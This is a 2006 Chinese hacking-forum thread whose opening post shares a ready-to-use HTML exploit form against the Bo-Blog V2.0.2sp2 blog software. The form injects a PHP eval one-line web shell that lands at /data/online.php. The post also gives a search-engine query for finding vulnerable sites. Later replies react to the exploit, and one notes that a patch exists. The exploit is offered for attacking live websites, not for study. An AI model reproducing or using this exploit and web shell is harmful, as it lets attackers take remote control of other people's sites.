预祝元旦快乐！Bo-BlogV2.0.2sp2的利用程序

huniao · 发表于 2006 年 12 月 31 日 19:45:00

马上注册，结交更多好友，享用更多功能，让你轻松玩转社区。

您需要登录才可以下载或查看，没有账号？注册

×

Bo-BlogV2.0.2sp2的利用程序吧！自己保存为htm文件，百度搜索：powered by bo-blog 2.0.2 sp2

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>The Csript For The "<?php eval($_POST[cmd])?>" </TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<META content="MSHTML 6.00.2800.1479" name=GENERATOR></HEAD>
<BODY style="FONT-SIZE: 9pt">
--------------------------------- Exp of Bo-BlogV2.0.2sp2--------------------------------- <br>
<FORM name=frm method=post target=_blank>Url: <INPUT
style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid"
size=34 value=http://www.bo-blog.com/ name=act> shell: <INPUT
style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid"
size=30 value="<?php eval($_POST[cmd]);?>" name=nowonline[]> <INPUT onclick="Javascipt:action=document.all.act.value;frm.submit();" type=button value="提交" name=Send></FORM>
<br>
----------------------- 提交后,一句话马地址是 /data/online.php ----------------------------
</BODY></HTML>

254432 · 发表于 2006 年 12 月 31 日 19:47:08

草了，刚安装了BO-BLOG，地址在签名里，大家测试测试

vbvs · 发表于 2006 年 12 月 31 日 19:50:53

彻底对这个程序失去信心

风之翼灵 · 发表于 2006 年 12 月 31 日 19:59:57

那我BLOG不是死定了?

幽鬼狼魂 · 发表于 2006 年 12 月 31 日 21:39:15

我先吐这个0day作者一身先。。。

伤心♂oO○ · 发表于 2006 年 12 月 31 日 21:44:27

不知道怎么利用呀

77 · 发表于 2006 年 12 月 31 日 21:46:24

记得V猪的是BO的
....

monkey5882 · 发表于 2006 年 12 月 31 日 21:47:39

一直都用F2和TT。。

iyaner · 发表于 2006 年 12 月 31 日 21:48:54

对了，已经补X X了

monkey5882 · 发表于 2006 年 12 月 31 日 21:49:59

不良倾向你怎么可以打出来？？？

账号		自动登录	找回密码
密码			注册

预祝元旦快乐！Bo-BlogV2.0.2sp2的利用程序

马上注册，结交更多好友，享用更多功能，让你轻松玩转社区。

回复 #7 yoko 的帖子

回复 #9 yaner 的帖子